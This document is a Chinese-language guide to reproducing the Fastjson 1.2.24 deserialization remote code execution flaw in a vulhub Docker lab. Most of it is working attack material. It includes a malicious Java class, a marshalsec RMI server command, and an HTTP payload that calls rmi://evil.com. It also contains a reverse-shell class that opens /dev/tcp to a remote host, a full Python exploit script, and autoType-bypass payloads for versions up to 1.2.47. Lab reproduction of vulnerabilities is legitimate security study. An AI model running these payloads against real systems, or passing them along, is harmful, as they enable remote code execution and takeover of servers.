fastjson 1.2.24 反序列化 RCE 漏洞复现
字数 1116 2025-08-15 21:33:00
Fastjson 1.2.24 反序列化 RCE 漏洞复现指南
漏洞概述
Fastjson 1.2.24 版本存在反序列化远程代码执行漏洞,攻击者可以通过构造恶意的JSON数据,利用autoType功能实例化特定类并调用其方法,最终实现任意命令执行。
漏洞原理
Fastjson在解析JSON时支持使用autoType来实例化具体类并调用其set/get方法访问属性。通过查找代码中的相关方法,可以构造恶意利用链。官方补丁主要更新了checkAutoType函数,添加了黑名单来阻止常用反序列化利用库。
环境搭建
测试环境准备
使用vulhub的docker镜像搭建测试环境:
-
克隆vulhub仓库:
git clone https://github.com/vulhub/vulhub -
进入fastjson/1.2.24-rce目录:
cd vulhub/fastjson/1.2.24-rce -
启动环境:
docker-compose up -d
环境运行后,访问 http://your-ip:8090 可看到JSON格式输出。
正常请求示例
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
漏洞复现步骤
1. 准备恶意类文件
编译并上传命令执行代码,如TouchFile.class:
// TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译命令:
javac TouchFile.java
2. 搭建Web服务
使用Python临时搭建Web服务器:
python -m SimpleHTTPServer 8989
将TouchFile.class放在Web服务器目录下。
3. 启动RMI服务器
使用marshalsec项目启动RMI服务器:
-
安装Maven环境(以Windows为例):
- 下载apache-maven-3.6.3-bin.zip
- 解压并配置环境变量
- 将
%MAVEN_HOME%\bin添加到Path
-
获取marshalsec项目:
git clone https://github.com/mbechler/marshalsec -
编译项目:
mvn clean package -DskipTests -
启动RMI服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-vps-ip:8989/TouchFile" 9999
4. 发送恶意Payload
向目标服务器发送以下恶意JSON数据:
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}
5. 验证命令执行
检查目标服务器上是否成功创建了/tmp/success文件。
反弹Shell实现
修改恶意类文件以实现反弹Shell:
// shell_re.java
import java.lang.Runtime;
import java.lang.Process;
public class shell_re {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
自动化利用脚本
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
import sys
import requests
if len(sys.argv)!=3:
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ RMIServer: rmi://ip:port/exp +')
print('+ LDAPServer: ldap://ip:port/exp +')
print('+ USE: python3 <filename> <target-ip> <RMI/LDAPServer> +')
print('+ EXP: python3 fastjson-1.2.24_rce.py http://1.1.1.1:8080/ ldap://2.2.2.2:88/Object +')
print('+ VER: fastjson<=1.2.24 +')
sys.exit()
url = sys.argv[1]
server = sys.argv[2]
headers = {
'Host': "127.0.0.1",
'Content-Type': "application/json",
'Accept-Encoding': "gzip, deflate",
'Connection': "close",
'Accept': "*/*",
'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
}
payload = """{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"%s",
"autoCommit":true
}
}""" % server
try:
r = requests.post(url, payload, headers=headers, timeout=10)
print("[+] RMI/LDAP Send Success")
except:
print("[-] RMI/LDAP Send Failed")
不同版本的Payload
针对不同Fastjson版本的Payload变种:
- Fastjson<=1.2.41:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"%s", "autoCommit":true}
- Fastjson<=1.2.42:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"%s", "autoCommit":true}
- Fastjson<=1.2.47:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "%s",
"autoCommit": true
}
}
常见问题解决
Q1: maven-surefire-plugin(2.19.1)无法安装
解决方案:
- 离线下载老版本插件
- 配置mirror镜像:
<mirror> <id>aliyunmaven</id> <mirrorOf>*</mirrorOf> <name>阿里云公共仓库</name> <url>https://maven.aliyun.com/repository/public</url> </mirror>
Q2: 编译错误"无效的目标发行版: 1.8"
解决方案:
确保JDK版本与pom.xml中指定的版本一致,或修改pom.xml中的Java版本配置。
Q3: maven-surefire-plugin测试失败
解决方案:
跳过测试步骤:
mvn clean package -DskipTests